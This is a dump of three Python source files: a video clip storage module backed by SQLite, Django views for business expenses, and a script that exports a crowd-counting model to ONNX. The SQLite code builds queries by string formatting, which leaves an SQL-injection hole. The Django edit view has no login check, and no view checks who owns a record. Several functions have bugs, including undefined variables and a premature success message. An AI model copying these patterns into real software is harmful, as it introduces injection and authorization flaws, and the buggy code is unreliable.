tiered\nstorage system.\n\"\"\"\n\nfrom deeplens.header import *\nfrom deeplens.simple_manager.file import *\nfrom deeplens.utils.frame_xform import *\n\nimport cv2\nimport os\nfrom os import path\nimport time\nimport shutil\nimport logging\nimport json\nimport threading\n\n\n\ndef _update_headers_batch(conn, crops, background_id, name, video_refs,\n full_width, full_height, start_time, end_time, update = False):\n \"\"\"\n Update or create new headers all headers for one batch. In terms of updates, we assume certain\n constraints on the system, and only update possible changes.\n \"\"\"\n if update:\n # Updates \n for i in range(0, len(crops) + 1):\n clip_info = query_clip(conn, i + background_id, name)[0]\n #print(i + background_id)\n updates = {}\n updates['start_time'] = min(start_time, clip_info[2])\n updates['end_time'] = max(end_time, clip_info[3])\n #print(updates['end_time'])\n if i != 0:\n origin_x = crops[i - 1]['bb'].x0\n origin_y = crops[i - 1]['bb'].y0\n translation = clip_info[10]\n if translation == 'NULL':\n if origin_x != clip_info[4] or origin_y != clip_info[5]:\n updates['translation'] = json.dumps([(start_time, origin_x, origin_y)])\n else:\n translation = json.loads(clip_info[10])\n if type(translation) is list:\n if translation[-1][1] != origin_x or translation[-1][2] != origin_y:\n translation.append((start_time, origin_x, origin_y))\n updates['translation'] = json.dumps(translation)\n else:\n raise ValueError('Translation object is wrongly formatted')\n other = clip_info[11]\n if other == 'NULL':\n updates['other'] = json.dumps(crops[i - 1]['all'], cls=Serializer)\n else:\n other = json.loads(clip_info[11])\n if type(other) is dict:\n logging.debug(crops[i - 1])\n other.update(crops[i - 1]['all'])\n updates['other'] = json.dumps(other, cls=Serializer)\n else:\n raise ValueError('All object is wrongly formatted')\n\n update_clip_header(conn, background_id + i, name, updates)\n else:\n for i in range(1, len(crops) + 1):\n insert_background_header(conn, background_id, i + background_id, name)\n for i in range(0, len(crops) + 1):\n if i == 0:\n insert_clip_header(conn, i + background_id, name, start_time, end_time, 0, 0,\n full_width, full_height, video_refs[i], is_background = True)\n \n else:\n origin_x = crops[i - 1]['bb'].x0\n origin_y = crops[i - 1]['bb'].y0\n width = crops[i - 1]['bb'].x1 - crops[i - 1]['bb'].x0\n height = crops[i - 1]['bb'].y1 - crops[i - 1]['bb'].y0\n insert_clip_header(conn, i + background_id, name, start_time, end_time, origin_x,\n origin_y, width, height, video_refs[i], other = json.dumps(crops[i - 1]['all'], cls=Serializer))\n\n\n for i in range(0, len(crops)):\n if type(crops[i]['label']) is list: # TODO: deal with crop all later\n for j in range(len(crops[i]['label'])):\n insert_label_header(conn, crops[i]['label'][j], background_id + i + 1, name)\n else:\n insert_label_header(conn, crops[i]['label'], background_id + i + 1, name)\n\n\ndef _write_video_batch(vstream, \\\n crops, \\\n encoding,\n batch_size,\n limit,\n start_time,\n dir = DEFAULT_TEMP, \\\n frame_rate = 1,\n release = True,\n writers = None):\n '''\n Private function which processes and stores a batch of video frames\n Arguments:\n - vstream: VideoStream which is processed\n - crops: physical crops of frames\n - batch_size: size of batch\n - release: whether we release or return the videos after finishing\n - writers: list of optional pre-existing writers that we can write frames into\n - Note: each writer must match a crop\n '''\n file_names = []\n out_vids = []\n if writers == None:\n r_name = get_rnd_strng()\n for i in range(len(crops) + 1):\n seg_name = os.path.join(dir, r_name)\n file_name = add_ext(seg_name, AVI, i)\n file_names.append(file_name)\n\n fourcc = cv2.VideoWriter_fourcc(*encoding)\n if i == 0:\n try:\n width = vstream.width\n height = vstream.height\n except AttributeError:\n width = vstream[0].shape[1]\n height = vstream[0].shape[0]\n else:\n width = abs(crops[i - 1]['bb'].x1 - crops[i - 1]['bb'].x0)\n height = abs(crops[i - 1]['bb'].y1 - crops[i - 1]['bb'].y0)\n out_vid = cv2.VideoWriter(file_name,\n fourcc,\n frame_rate,\n (width, height),\n True)\n out_vids.append(out_vid)\n else:\n out_vids = writers\n \n index = 0\n for frame in vstream:\n if type(frame) == dict:\n frame = frame['data']\n if len(crops) == 0:\n out_vids[0].write(frame)\n else:\n out_vids[0].write(reverse_crop(frame, crops))\n\n i = 1\n for cr in crops:\n fr = crop_box(frame, cr['bb'])\n out_vids[i].write(fr)\n i +=1\n index += 1\n if index >= batch_size or limit != -1 and index >= limit - start_time:\n break\n if not release:\n if len(file_names) != 0:\n return (out_vids, file_names, index)\n else:\n return (out_vids, None, index)\n else:\n for vid in out_vids:\n vid.release()\n if len(file_names) != 0:\n return (None, file_names, index)\n return (None, None, index)\n\ndef _split_video_batch(vstream,\n splitter,\n batch_size,\n limit,\n start_time,\n process_vid = False,\n scratch = None,\n vstream_behind = None,\n v_cache = None):\n '''\n Private function which labels and crops a batch of video frames.\n Arguments:\n - vstream: VideoStream which is labeled\n - splitter: Splitter object which crops based on labels\n - size: size of batch\n - process_vid: whether we also process the video batch after applying a map to it\n - Note: if this is True, we also need scratch and vstream_behind\n - scratch: where to store the video batch after processing it\n - vstream_behind: a copy of the previous video stream so that we can apply map onto it\n - v_cache: cache a buffer of the vstream (neccessary for streaming)\n '''\n labels = []\n i = 0\n for frame in vstream:\n labels.append(frame['objects'])\n i += 1\n if v_cache != None:\n v_cache.append(frame['frame'])\n if i >= batch_size or limit != -1 and i >= limit - start_time:\n break\n if i == 0:\n return None\n crops = splitter.map(labels)\n if process_vid:\n if not splitter.map_to_video:\n raise ManagerIOError('Splitter does not support map to video')\n videos = _write_video_batch(vstream_behind, crops, limit) # TODO: parameters wrong\n return (crops, videos)\n return crops\n \n\n# TODO: parallelize\ndef write_video_single(conn, \\\n video_file, \\\n target,\n dir, \\\n splitter, \\\n map, \\\n stream = False,\n args={}):\n batch_size = args['batch_size']\n v = VideoStream(video_file, args['limit'])\n v = iter(v[map])\n if stream:\n v.set_stream(True)\n full_width = v.width\n full_height = v.height\n curr_back = 0 # current clip background id\n start_time = 0 #current batch start time (NOTE: Not current clip start time)\n i = 0\n if stream:\n v_behind = [] # if it's a stream, we cache the buffered video instead of having a slow pointer\n else:\n v_behind = VideoStream(video_file, args['limit'])\n v_behind = iter(v_behind)\n labels = []\n vid_files = []\n\n for frame in v:\n labels.append(frame['objects'])\n logging.debug(labels)\n i += 1\n if stream:\n v_behind.append(frame['frame'])\n if args['limit'] != -1 and i >= args['limit'] or i >= batch_size:\n break\n crops, batch_prev, _ = splitter.initialize(labels)\n (writers, file_names, time_block) = _write_video_batch(v_behind, crops, args['encoding'], batch_size, args['limit'], start_time, dir, release = False)\n \n _update_headers_batch(conn, crops, curr_back, target, file_names,\n full_width, full_height, start_time, start_time + time_block, update = False)\n start_time = start_time + time_block\n next_back = curr_back + len(crops) + 1\n vid_files.extend(file_names)\n while True:\n if stream:\n v_behind = []\n v_cache = v_behind\n else:\n v_cache = None\n batch_crops = _split_video_batch(v, splitter, batch_size, args['limit'], start_time, v_cache = v_cache)\n if batch_crops == None:\n break\n crops, batch_prev, do_join = splitter.join(batch_prev, batch_crops)\n\n if do_join:\n writers, _ , time_block = _write_video_batch(v_behind, crops, args['encoding'], batch_size, args['limit'], start_time, dir, release = False, writers = writers)\n \n _update_headers_batch(conn, crops, curr_back, target, file_names,\n full_width, full_height, start_time, start_time + time_block, update = True)\n start_time = start_time + time_block\n else:\n for writer in writers:\n writer.release()\n writers, file_names, time_block = _write_video_batch(v_behind, crops, args['encoding'], batch_size, args['limit'], start_time, dir, release = False)\n curr_back = next_back\n _update_headers_batch(conn, crops, curr_back, target, file_names,\n full_width, full_height, start_time, start_time + time_block, update = False)\n start_time = start_time + time_block\n next_back = curr_back + len(crops) + 1\n vid_files.extend(file_names)\n return vid_files\n\ndef write_video_parrallel_1(conn, \\\n video_file, \\\n threading, \\\n target,\n dir, \\\n splitter, \\\n map, \\\n stream = False,\n args={}):\n '''\n parallelized the put function for preprocessing only\n '''\n pass\n\ndef write_video_parrallel_2(conn, \\\n video_file, \\\n target,\n dir, \\\n splitter, \\\n map, \\\n stream = False,\n args={}):\n '''\n parallelized the put function for preprocessing and crops\n '''\n pass\n\ndef delete_video_if_exists(conn, video_name):\n c = conn.cursor()\n c.execute(\"SELECT clip_id FROM clips WHERE video_name = '%s'\" % video_name)\n clips = c.fetchall()\n if len(clips) == 0:\n # not exist in header file, nothing to do\n return\n\n clips = set().union(*map(set, clips))\n for clip in clips:\n c.execute(\"SELECT video_ref FROM clip WHERE clip_id = '%d' AND video_name = '%s'\" % (clip, video_name))\n video_ref = c.fetchone()[0]\n try:\n os.remove(video_ref)\n except FileNotFoundError:\n logging.warning(\"File %s not found\" % video_ref)\n \n c.execute(\"DELETE FROM clip WHERE video_name = '%s'\" % (video_name))\n c.execute(\"DELETE FROM label WHERE video_name = '%s'\" % (video_name))\n c.execute(\"DELETE FROM background WHERE video_name = '%s'\" % video_name)\n conn.commit()\n\n\ndef move_one_file(conn, clip_id, video_name, dest_ref):\n c = conn.cursor()\n c.execute(\"SELECT video_ref FROM clip WHERE clip_id = '%d' AND video_name = '%s' \" % (clip_id, video_name))\n video_ref = c.fetchone()[0]\n shutil.move(video_ref, dest_ref)\n c.execute(\"UPDATE clip SET video_ref = '%s' WHERE clip_id = '%d' AND video_name = '%s'\" % (dest_ref, clip_id, video_name))\n conn.commit()\n\n\ndef insert_clip_header(conn, clip_id, video_name, start_time, end_time, origin_x, origin_y, height, width, video_ref='', is_background = False, translation = 'NULL', other = 'NULL'):\n c = conn.cursor()\n c.execute(\"INSERT INTO clip VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)\",\n (clip_id, video_name, start_time, end_time, origin_x, origin_y, height, width, video_ref, is_background, translation, other))\n conn.commit()\n\n\ndef insert_background_header(conn, background_id, clip_id, video_name):\n c = conn.cursor()\n c.execute(\"INSERT INTO background VALUES (?, ?, ?)\", (background_id, clip_id, video_name))\n conn.commit()\n\ndef insert_label_header(conn, label, clip_id, video_name):\n c = conn.cursor()\n c.execute(\"INSERT INTO label VALUES (?, ?, ?)\", (label, clip_id, video_name))\n conn.commit()\n\ndef delete_label_header(conn, video_name, label = None, clip_id = None):\n c = conn.cursor()\n if label and clip_id:\n c.execute(\"DELETE FROM label WHERE label = '%s' AND clip_id = '%d' AND video_name = '%s' \" % (label, clip_id, video_name))\n elif label:\n c.execute(\"DELETE FROM label WHERE label = '%s' AND video_name = '%s' \" % (label, video_name))\n elif clip_id:\n c.execute(\"DELETE FROM label WHERE clip_id = '%d' AND video_name = '%s' \" % (label, clip_id, video_name))\n else:\n raise ValueError(\"Neither label nor clip_id is given\")\n\ndef delete_clip(conn, clip_id, video_name):\n c = conn.cursor()\n c.execute(\"SELECT video_ref FROM clip WHERE clip_id = '%d' AND video_name = '%s'\" % (clip_id, video_name))\n video_ref = c.fetchone()[0]\n try:\n os.remove(video_ref)\n except FileNotFoundError:\n logging.warning(\"File %s not found\" % video_ref)\n c.execute(\"DELETE FROM clip WHERE clip_id = '%d' and video_name = '%s' \" % (clip_id, video_name))\n c.execute(\"DELETE FROM label WHERE clip_id = '%d' and video_name = '%s' \" % (clip_id, video_name))\n c.execute(\"DELETE FROM background WHERE clip_id = '%d' and video_name = '%s' \" % (clip_id, video_name))\n c.execute(\"DELETE FROM background WHERE background_id = '%d' and video_name = '%s' \" % (clip_id, video_name))\n conn.commit()\n\ndef delete_video(conn, video_name):\n c = conn.cursor()\n c.execute(\"SELECT video_ref FROM clip WHERE video_name = '%s'\" % (video_name))\n video_ref = c.fetchone()[0]\n try:\n os.remove(video_ref)\n except FileNotFoundError:\n logging.warning(\"File %s not found\" % video_ref)\n c.execute(\"DELETE FROM clip WHERE video_name = '%s' \" % video_name)\n c.execute(\"DELETE FROM label WHERE video_name = '%s' \" % video_name)\n c.execute(\"DELETE FROM background WHERE video_name = '%s' \" % video_name)\n conn.commit()\n\ndef delete_background(conn, background_id, video_name):\n c = conn.cursor()\n c.execute(\"SELECT clip_id FROM background WHERE background_id = '%d' AND video_name = '%s'\" % (background_id, video_name))\n clips = c.fetchall()\n if len(clips) == 0:\n # not exist in header file, nothing to do\n return\n clips = set().union(*map(set, clips))\n clips = clips.add(background_id)\n \n for clip in clips:\n c.execute(\"SELECT video_ref FROM clip WHERE clip_id = '%d' AND video_name = '%s'\" % (clip, video_name))\n video_ref = c.fetchone()[0]\n try:\n os.remove(video_ref)\n except FileNotFoundError:\n logging.warning(\"File %s not found\" % video_ref)\n c.execute(\"DELETE FROM clip WHERE clip_id = '%d' AND video_name = '%s'\" % (clip, video_name))\n \n c.execute(\"DELETE FROM label WHERE clip_id = '%d' video_name = '%s' \" % (background_id, video_name))\n c.execute(\"DELETE FROM background WHERE background_id = '%d'\" % background_id)\n conn.commit()\n\n\ndef update_clip_header(conn, clip_id, video_name, args={}):\n c = conn.cursor()\n for key, value in args.items():\n c.execute(\"UPDATE clip SET '%s' = '%s' WHERE clip_id = '%d' AND video_name = '%s'\" % (key, value, clip_id, video_name))\n conn.commit()\n\ndef query_clip(conn, clip_id, video_name):\n c = conn.cursor()\n c.execute(\"SELECT * FROM clip WHERE clip_id = '%d' AND video_name = '%s'\" % (clip_id, video_name))\n result = c.fetchall()\n return result\n\ndef query_background(conn, video_name, background_id=None, clip_id=None):\n c = conn.cursor()\n if background_id == None and clip_id == None:\n raise ValueError(\"Neither background_id nor clip_id is given\")\n elif background_id != None and clip_id != None:\n c.execute(\"SELECT * FROM background WHERE background_id = '%d' AND clip_id = '%d' AND video_name = '%s'\" % (background_id, clip_id, video_name))\n elif background_id != None and clip_id == None:\n c.execute(\"SELECT * FROM background WHERE background_id = '%d' and video_name = '%s'\" % (background_id, video_name))\n elif background_id == None and clip_id != None:\n c.execute(\"SELECT * FROM background WHERE clip_id = '%d' and video_name = '%s'\" % (clip_id, video_name))\n result = c.fetchall()\n return result\n\ndef query_label(conn, label, video_name):\n c = conn.cursor()\n c.execute(\"SELECT * FROM label WHERE label = '%s' AND video_name = '%s'\" % (label, video_name))\n result = c.fetchall()\n return result\n\ndef query(conn, video_name, clip_condition):\n \"\"\"\n Args:\n conn (SQLite conn object) - please pass self.conn directly\n video_name (string) - identifier of the entire video (not clip)\n clip_condition (Condition object) - conditions of the query. e.g. Condition(filter='car')\n\n Returns:\n video_refs - list of VideoStream objects that you can iterate through\n \"\"\"\n clip_ids = clip_condition.query(conn, video_name)\n\n video_refs = []\n for id in clip_ids:\n clip = query_clip(conn, id, video_name)\n clip_ref = clip[0][8]\n origin = np.array((clip[0][4],clip[0][5]))\n #print(clip[0])\n video_refs.append(VideoStream(clip_ref,origin=origin))\n\n return video_refs\n\n\n","sub_path":"deeplens/full_manager/full_videoio.py","file_name":"full_videoio.py","file_ext":"py","file_size_in_byte":19491,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"144584480","text":"from django.shortcuts import render, redirect, get_object_or_404\nfrom django.contrib.auth.decorators import login_required\nfrom datetime import date\nfrom django.contrib import messages\n\nfrom expenses.models import Expense\nfrom expenses.forms import ExpenseForm\n\n@login_required\ndef index(request):\n today = date.today()\n sDate = str(today.year) + '-' + str(today.month) + '-01'\n eDate = str(today.year) + '-' + str(today.month) + '-' + str(today.day)\n if request.GET.get('range'):\n dates = request.GET.get('range').split(sep=\" - \")\n sDate = dates[0]\n eDate = dates[1]\n expenses = Expense.objects.filter(\n business=request.user.business,\n date_made__gte=sDate,\n date_made__lte=eDate + ' 23:59:59'\n )\n \n args = {\n 'expenses': expenses,\n 'startDate': sDate,\n 'endDate': eDate,\n 'range': sDate + ' - ' + eDate\n }\n\n return render(request, 'expenses/index.html', args)\n\n@login_required\ndef expense_add(request):\n if request.method == 'POST':\n form = ExpenseForm(request.POST)\n if form.is_valid():\n expense = form.save()\n\n messages.add_message(\n request, messages.SUCCESS, \n 'Successfully Added Expense! Particulars: ' + expense.particulars\n )\n return redirect('expenses')\n\n else:\n form = ExpenseForm()\n\n return render(request, 'expenses/add.html')\n\ndef expense_change(request, pk):\n expense = get_object_or_404(Expense, pk=pk)\n\n if request.method == 'POST':\n form = ExpenseForm(request.POST, instance=expense)\n if form.is_valid():\n expense = form.save()\n\n messages.add_message(\n request, messages.SUCCESS, \n 'Successfully Updated Expense! Particulars: ' + expense.particulars\n )\n return redirect('expenses')\n else:\n form = ExpenseForm(instance=expense)\n \n args = {\n 'expense': expense,\n 'form': form\n }\n return render(request, 'expenses/change.html', args)\n\n@login_required\ndef expense_detail(request, pk):\n\n return render(request, 'expenses/details.html')\n\n@login_required\ndef expense_delete(request, pk):\n expense = get_object_or_404(Expense, pk=pk)\n expense.delete()\n messages.add_message(\n request, messages.INFO, \n 'Successfully Deleted Expense! Particulars: ' + expense.particulars\n )\n return redirect('expenses')\n","sub_path":"expenses/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2484,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"363538613","text":"\"\"\"\nExport model ShangaiTech part B to onnx\n\"\"\"\nimport io, os\nimport numpy as np\nfrom torch import nn\nimport torch.onnx\nimport cv2\n\nfrom mcnn.crowd_count import CrowdCounter\nfrom mcnn import network\nfrom mcnn.data_loader import ImageDataLoader\nfrom mcnn import utils\n\n# Set data/model path\nmodel_path = '/workspace/data/models/mcnn_shtechB_186.h5'\ndata_path = '/workspace/data/shanghaiTech/part_B_final/test_data/images/'\n\n# test the image :\nfname = \"IMG_12.jpg\"\n\n# Load pytorch model\nmodel_name = os.path.basename(model_path).split('.')[0]\nnet = CrowdCounter() \ntrained_model = os.path.join(model_path)\nnetwork.load_net(trained_model, net)\nnet.cuda()\nnet.eval()\n\n# Load the image\nimg = cv2.imread(os.path.join(data_path,fname),0)\nimg_color = cv2.imread(os.path.join(data_path,fname))\nimg = img.astype(np.float32, copy=False)\nht = img.shape[0]\nwd = img.shape[1]\nht_1 = int(ht)\nwd_1 = int(wd)\nimg = cv2.resize(img,(wd_1,ht_1))\nimg = img.reshape((1,1,img.shape[0],img.shape[1]))\n\n# Input to the model\nbatch_size = 1\nx = torch.randn(batch_size, 1, width, length, requires_grad=True).cuda()\nprint(x.shape)\ntorch_out = net(x)\nprint(torch_out.shape)\n\n# Export the model\ntorch.onnx.export(net, # model being run\n x, # model input (or a tuple for multiple inputs)\n \"mcnn_shtechB_186.onnx\", # where to save the model (can be a file or file-like object)\n export_params=True, # store the trained parameter weights inside the model file\n opset_version=10, # the ONNX version to export the model to\n do_constant_folding=True, # whether to execute constant folding for optimization\n input_names = ['input'], # the model's input names\n output_names = ['output'], # the model's output names\n dynamic_axes={'input' : {0 : 'batch_size'}, # variable length axes\n 'output' : {0 : 'batch_size'}})\n\nprint(\"Exported model has been tested with ONNXRuntime, and the result looks good!\")\n\n## Test with onnxruntime, xith no dependencies with pytorch ##\nimport onnxruntime\n\nort_session = onnxruntime.InferenceSession(\"mcnn_shtechB_186.onnx\")\n# compute ONNX Runtime output prediction\nort_inputs = {ort_session.get_inputs()[0].name: img}\nort_outs = ort_session.run(None, ort_inputs)\n\ndensity_map = ort_outs[0]\nprint(density_map.shape)\n\nprint('%0.1d persons detected'% np.squeeze(density_map, axis=(0,1)).sum())\nprint('%0.1d persons tagged'% sum(1 for line in open(os.path.join(data_path,fname).replace(\".jpg\",\".txt\"))))","sub_path":"export2onnx.py","file_name":"export2onnx.py","file_ext":"py","file_size_in_byte":2622,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"}